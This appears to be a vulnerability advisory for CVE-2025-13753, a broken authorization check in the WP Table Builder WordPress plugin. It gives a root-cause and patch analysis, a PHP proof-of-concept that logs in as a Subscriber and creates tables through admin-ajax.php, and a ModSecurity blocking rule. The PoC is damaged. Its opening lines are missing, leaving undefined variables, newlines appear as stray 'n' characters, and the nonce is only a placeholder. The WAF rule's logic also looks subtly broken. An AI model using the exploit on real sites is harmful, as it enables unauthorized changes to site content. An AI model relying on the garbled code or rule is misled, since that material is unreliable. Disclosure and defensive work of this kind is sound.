CVE-2025-13753: WP Table Builder <= 2.0.19 – Incorrect Authorization to Authenticated (Subscriber+) Arbitrary Table Creation (wp-table-builder)

{
“analysis”: “Atomic Edge analysis of CVE-2025-13753:nThis vulnerability is an incorrect authorization flaw in the WP Table Builder plugin for WordPress. The flaw allows authenticated users with Subscriber-level permissions or higher to create new table posts, an action intended for higher-privileged users. The vulnerability affects all plugin versions up to and including 2.0.19.nnnThe root cause is an insufficient authorization check in the `save_table()` function located in `/wp-table-builder/inc/admin/class-admin-menu.php`. The original code at line 75 only verified a nonce and checked if the user had the `Settings_Manager::ALLOWED_ROLE_META_CAP` capability. This capability check was insufficient to restrict the function to authorized users only, as it could be met by lower-privileged roles.nnThe exploitation method involves an authenticated attacker with Subscriber access sending a POST request to the WordPress admin AJAX endpoint. The attacker must target the `wp_ajax_wptb_save_table` action hook. The required payload includes a valid `security_code` nonce, which a Subscriber can obtain from their own session, and table data in the request body. The attack vector is `POST /wp-admin/admin-ajax.php` with the parameter `action=wptb_save_table`.nnThe patch adds a proper authorization check at the beginning of the `save_table()` function. The fix inserts a call to `WPTableBuilderAdminAuthorization::can_edit()` before any other logic. If this check fails, the script terminates. The patch also removes the flawed `current_user_can(Settings_Manager::ALLOWED_ROLE_META_CAP)` check from the nonce verification line, relying solely on the new authorization method.nnSuccessful exploitation allows an attacker to create arbitrary `wptb-table` custom post type entries. This constitutes unauthorized data modification. While this does not directly lead to remote code execution or site takeover, it can pollute the database, disrupt site content, and be used as a stepping stone in a broader attack chain aimed at privilege escalation or data integrity attacks.”,
“poc_php”: “// Atomic Edge CVE Research – Proof of Conceptn// CVE-2025-13753 – WP Table Builder <= 2.0.19 – Incorrect Authorization to Authenticated (Subscriber+) Arbitrary Table Creationnn $login_url,n CURLOPT_RETURNTRANSFER => true,n CURLOPT_FOLLOWLOCATION => true,n CURLOPT_COOKIEJAR => ‘cookies.txt’,n CURLOPT_POST => true,n CURLOPT_POSTFIELDS => http_build_query([n ‘log’ => $username,n ‘pwd’ => $password,n ‘wp-submit’ => ‘Log In’,n ‘redirect_to’ => $target_url . ‘/wp-admin/’,n ‘testcookie’ => ‘1’n ]),n CURLOPT_HEADER => truen]);n$response = curl_exec($ch);nn// Step 2: Fetch the WP Table Builder page to extract a security nonce.n// The nonce is typically found in page scripts or data attributes.n// This example assumes a nonce can be retrieved from a known script pattern.n// In a real scenario, you would parse the page HTML for ‘wptb-security-nonce’.n$placeholder_nonce = ‘EXTRACTED_NONCE_PLACEHOLDER’;n// For the PoC, we simulate a valid nonce. An actual exploit would extract it.nn// Step 3: Craft the malicious request to create a table.n$table_data = json_encode([n ‘security_code’ => $placeholder_nonce,n ‘table_data’ => ‘[[“Malicious Cell”]]’,n ‘table_title’ => ‘Atomic Edge Exploit Table’n]);nncurl_setopt_array($ch, [n CURLOPT_URL => $ajax_url,n CURLOPT_HTTPHEADER => [‘Content-Type: application/json’],n CURLOPT_POSTFIELDS => $table_data,n CURLOPT_POST => true,n CURLOPT_COOKIEFILE => ‘cookies.txt’,n CURLOPT_RETURNTRANSFER => true,n CURLOPT_HEADER => falsen]);nn$ajax_response = curl_exec($ch);n$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);ncurl_close($ch);nn// Step 4: Check the response.necho “HTTP Code: $http_code\n”;necho “Response: $ajax_response\n”;nif ($http_code == 200 && strpos($ajax_response, ‘table_id’) !== false) {n echo “[+] Table creation likely successful.\n”;n} else {n echo “[-] Exploit may have failed.\n”;n}nn?>”,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2025-13753nSecRule REQUEST_URI “@streq /wp-admin/admin-ajax.php” \n “id:100013753,phase:2,deny,status:403,chain,msg:’CVE-2025-13753 via WP Table Builder AJAX – Unauthorized Table Creation’,severity:’MEDIUM’,tag:’CVE-2025-13753′,tag:’WordPress’,tag:’WP_Table_Builder'”n SecRule ARGS_POST:action “@streq wptb_save_table” “chain”n SecRule &ARGS_POST:security_code “!@eq 0” “chain”n SecRule REQUEST_HEADERS:Authorization “@eq 0” \n “t:none,setvar:’tx.cve_2025_13753_block=1′”nnSecRule TX:cve_2025_13753_block “@eq 1” \n “id:100013754,phase:2,deny,status:403,msg:’CVE-2025-13753 Block – Unauthenticated/Subscriber access to wptb_save_table’,severity:’MEDIUM’,tag:’CVE-2025-13753′””
}